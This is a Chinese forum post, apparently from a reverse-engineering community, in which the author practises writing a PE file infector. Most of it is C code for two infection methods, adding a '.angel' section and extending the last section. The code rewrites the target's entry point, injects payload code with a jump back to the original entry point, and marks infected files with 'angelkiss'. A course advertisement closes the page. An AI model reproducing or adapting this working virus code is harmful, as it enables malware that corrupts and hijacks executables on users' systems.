PE文件感染,早已不是什么新鲜的话题。论坛中也有很多反复摧残PE文件的文章。这段时间在看病毒方面的知识,所以重新温习了下PE文件的结构,介绍PE结构的帖子很多,我就不详细介绍了,再介绍也不一定由牛人们介绍的详细。跟我一样的小白,参见:http://bbs.pediy.com/showthread.php?t=21932
http://bbs.pediy.com/showthread.php?t=121488
http://bbs.pediy.com/showthread.php?t=122191
无数的先例告诉我们,动手才是王道!为了巩固下PE文件的知识,写了个利用三种方式感染PE文件的小程序,顺便练练手!
本文主要用以下三种方式感染PE文件,达到被感染目标运行时,先运行我们感染的代码,先看效果图:
下面分别简述下每种感染方式与不足的地方。
1.添加新节表感染。
该种方式很常见,首先根据PE文件结构查看SectionHeader表后,有无足够的空间放下一个新节表:
//添加新节感染
DWORD dwRealSize = lpImageDosHeader->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER) + stImageFileHeader.SizeOfOptionalHeader + stImageFileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER);
if( stImageOptionalHeader.SizeOfHeaders - dwRealSize > sizeof(IMAGE_SECTION_HEADER) )
{
INFECT_INFO stInfectInfo = {0};
stInfectInfo.dwId = 1;
strncpy( stInfectInfo.lpInfectName, "添加新节表感染方式", strlen("添加新节表感染方式") );
PIMAGE_SECTION_HEADER lpFirstSectionHeader = IMAGE_FIRST_SECTION(lpImageNtHeaders);
PIMAGE_SECTION_HEADER lpLastSectionHeader = lpFirstSectionHeader + (stImageFileHeader.NumberOfSections-1);//*sizeof(IMAGE_SECTION_HEADER);
stInfectInfo.Infect_Manner_Info.stAddSection.dwVirtualOffset = ((lpLastSectionHeader->VirtualAddress + lpLastSectionHeader->Misc.VirtualSize -1)/dwVirtualAlign+1)*dwVirtualAlign;
stInfectInfo.Infect_Manner_Info.stAddSection.dwVirtualAddSize = (DWORD)GetEndAddress - (DWORD)MainCode + dwExtendSize;
stInfectInfo.Infect_Manner_Info.stAddSection.dwFileOffset = lpLastSectionHeader->PointerToRawData + lpLastSectionHeader->SizeOfRawData;
stInfectInfo.Infect_Manner_Info.stAddSection.dwFileAddSize = (((DWORD)GetEndAddress - (DWORD)MainCode + dwExtendSize - 1)/dwFileAlign +1 )*dwFileAlign;
stInfectInfo.dwNewEP = stInfectInfo.Infect_Manner_Info.stAddSection.dwVirtualOffset;
stInfectInfo.lpBase = lpBuffer;
stInfectInfos[dwInfectCnt++] = stInfectInfo;
}
if( stInfectInfos[index].dwId == 1 )
{
PIMAGE_DOS_HEADER lpImageDosHeader = (PIMAGE_DOS_HEADER)stInfectInfos[index].lpBase;
PIMAGE_NT_HEADERS lpImageNtHeaders = (PIMAGE_NT_HEADERS)( (DWORD)lpImageDosHeader + lpImageDosHeader->e_lfanew );
PIMAGE_SECTION_HEADER lpFirstImageSection = IMAGE_FIRST_SECTION(lpImageNtHeaders);
DWORD dwSectionCnt = lpImageNtHeaders->FileHeader.NumberOfSections;
DWORD dwFileAlign = lpImageNtHeaders->OptionalHeader.FileAlignment;
DWORD dwSectionAlign = lpImageNtHeaders->OptionalHeader.SectionAlignment;
DWORD dwImageBase = lpImageNtHeaders->OptionalHeader.ImageBase;
PIMAGE_SECTION_HEADER lpEndImageSection = (PIMAGE_SECTION_HEADER)( (DWORD)lpFirstImageSection + dwSectionCnt*sizeof(IMAGE_SECTION_HEADER) );
memset( lpEndImageSection, 0, sizeof(IMAGE_SECTION_HEADER) );
strncpy( (char*)(lpEndImageSection->Name), ".angel", strlen(".angel") );
lpEndImageSection->Characteristics = 0x600000E0;
lpEndImageSection->Misc.VirtualSize = stInfectInfos[index].Infect_Manner_Info.stAddSection.dwVirtualAddSize;
lpEndImageSection->VirtualAddress = stInfectInfos[index].Infect_Manner_Info.stAddSection.dwVirtualOffset;
lpEndImageSection->PointerToRawData = stInfectInfos[index].Infect_Manner_Info.stAddSection.dwFileOffset;
lpEndImageSection->SizeOfRawData = stInfectInfos[index].Infect_Manner_Info.stAddSection.dwFileAddSize;
lpImageNtHeaders->FileHeader.NumberOfSections++;
DWORD dwOldEP = lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint = lpEndImageSection->VirtualAddress;
lpImageNtHeaders->OptionalHeader.SizeOfCode += lpEndImageSection->SizeOfRawData;
//lpImageNtHeaders->OptionalHeader.SizeOfHeaders += sizeof(IMAGE_SECTION_HEADER);
lpImageNtHeaders->OptionalHeader.SizeOfImage += ((lpEndImageSection->Misc.VirtualSize-1)/dwSectionAlign+1)*dwSectionAlign;
//添加感染标识
strncpy( (char*)(lpImageDosHeader->e_res2), "angelkiss", strlen("angelkiss") );
FlushViewOfFile( stInfectInfos[index].lpBase, 0 );
UnmapViewOfFile( stInfectInfos[index].lpBase );
HANDLE hFile = CreateFile( g_strPath, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == NULL )
{
MessageBox( "添加节表感染PE失败" );
goto _OUT;
}
DWORD dwFileSize = GetFileSize( hFile, NULL );
DWORD dwRet = SetFilePointer( hFile, stInfectInfos[index].Infect_Manner_Info.stAddSection.dwFileAddSize, NULL, FILE_END );
if( dwRet == -1 )
{
MessageBox( "扩大文件失败" );
CloseHandle( hFile );
goto _OUT;
}
if( !SetEndOfFile( hFile ) )
{
MessageBox( "扩大文件,设置文件末尾失败" );
CloseHandle( hFile );
goto _OUT;
}
DWORD dw = (DWORD)GetEndAddress - (DWORD)MainCode;
char lpJmpCode[5] = {0xe9,0x90,0x90,0x90,0x90};
//搜索MainCode中JMP的位置
DWORD dwPosition = 0;
BYTE *lpTemp = (BYTE*)MainCode;
for( int id = 0; id < 0x1000; id++ )
{
if( (*lpTemp==0x90) && (*(lpTemp+1)==0x90) && (*(lpTemp+2)==0x90) && (*(lpTemp+3)==0x90) && (*(lpTemp+4)==0x90) )
{
dwPosition = (DWORD)lpTemp - (DWORD)MainCode;
break;
}
lpTemp++;
}
if( dwPosition == 0 )
{
MessageBox( "寻找跳转地址出错" );
CloseHandle( hFile );
goto _OUT;
}
DWORD dwJmpDis = dwOldEP - (stInfectInfos[index].Infect_Manner_Info.stAddSection.dwVirtualOffset + dwPosition + 5 );
memcpy( lpJmpCode+1, &dwJmpDis, 4 );
DWORD dwOldProtect = 0;
bool bRes = VirtualProtect( (LPVOID)(lpTemp), 5, PAGE_EXECUTE_READWRITE, &dwOldProtect );
memcpy( lpTemp, lpJmpCode, 5 );
SetFilePointer( hFile, stInfectInfos[index].Infect_Manner_Info.stAddSection.dwFileOffset, 0, FILE_BEGIN );
DWORD dwCnt = 0;
WriteFile( hFile, (char*)MainCode, dw, &dwCnt, NULL );
DWORD dwToken = 0xfffffff9;
WriteFile( hFile, &dwToken, 4, &dwCnt, NULL );
WriteFile( hFile, lpContent, strlen(lpContent), &dwCnt, NULL );
SetFilePointer( hFile, 10, NULL, FILE_CURRENT );
dwToken = 0xfffffffa;
WriteFile( hFile, &dwToken, 4, &dwCnt, NULL );
WriteFile( hFile, lpTitle, strlen(lpTitle), &dwCnt, NULL );
SetFilePointer( hFile, 10, NULL, FILE_CURRENT );
dwToken = 0xfffffffb;
WriteFile( hFile, &dwToken, 4, &dwCnt, NULL );
WriteFile( hFile, lpLoadLibraryA, strlen(lpLoadLibraryA), &dwCnt, NULL );
SetFilePointer( hFile, 10, NULL, FILE_CURRENT );
dwToken = 0xfffffffc;
WriteFile( hFile, &dwToken, 4, &dwCnt, NULL );
WriteFile( hFile, lpGetProcess, strlen(lpGetProcess), &dwCnt, NULL );
SetFilePointer( hFile, 10, NULL, FILE_CURRENT );
dwToken = 0xfffffffd;
WriteFile( hFile, &dwToken, 4, &dwCnt, NULL );
WriteFile( hFile, lpUser32, strlen(lpUser32), &dwCnt, NULL );
SetFilePointer( hFile, 10, NULL, FILE_CURRENT );
dwToken = 0xfffffffe;
WriteFile( hFile, &dwToken, 4, &dwCnt, NULL );
WriteFile( hFile, lpMessageBoxA, strlen(lpMessageBoxA), &dwCnt, NULL );
SetFilePointer( hFile, 10, NULL, FILE_CURRENT );
dwToken = 0xffffffff;
WriteFile( hFile, &dwToken, 4, &dwCnt, NULL );
WriteFile( hFile, lpExitProcess, strlen(lpExitProcess), &dwCnt, NULL );
SetFilePointer( hFile, 10, NULL, FILE_CURRENT );
CloseHandle( hFile );
MessageBox( "添加节方式感染成功!" );
}
//末尾节扩展感染
PIMAGE_SECTION_HEADER lpLastSectionHeader = lpFirstSectionHeader + (dwSectionCnt-1);
INFECT_INFO stInfectInfo = {0};
stInfectInfo.dwId = 3;
strncpy( stInfectInfo.lpInfectName, "文件末尾节添加方式", strlen("文件末尾节添加方式") );
stInfectInfo.Infect_Manner_Info.stEndSectionExtension.dwVirtualAddSize = (DWORD)GetEndAddress - (DWORD)MainCode + dwExtendSize;
stInfectInfo.Infect_Manner_Info.stEndSectionExtension.dwVirtualOffset = lpLastSectionHeader->VirtualAddress + lpLastSectionHeader->Misc.VirtualSize;
stInfectInfo.Infect_Manner_Info.stEndSectionExtension.dwFileOffset = lpLastSectionHeader->PointerToRawData + lpLastSectionHeader->Misc.VirtualSize;
stInfectInfo.Infect_Manner_Info.stEndSectionExtension.dwFileAddSize = (lpLastSectionHeader->Misc.VirtualSize+ stInfectInfo.Infect_Manner_Info.stEndSectionExtension.dwVirtualAddSize) > (lpLastSectionHeader->SizeOfRawData)?(((lpLastSectionHeader->Misc.VirtualSize + (DWORD)GetEndAddress - (DWORD)MainCode + dwExtendSize -lpLastSectionHeader->SizeOfRawData -1)/dwFileAlign+1)*dwFileAlign):0;
stInfectInfo.dwNewEP = stInfectInfo.Infect_Manner_Info.stEndSectionExtension.dwVirtualOffset;
stInfectInfo.lpBase = lpBuffer;
stInfectInfos[dwInfectCnt++] = stInfectInfo;
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课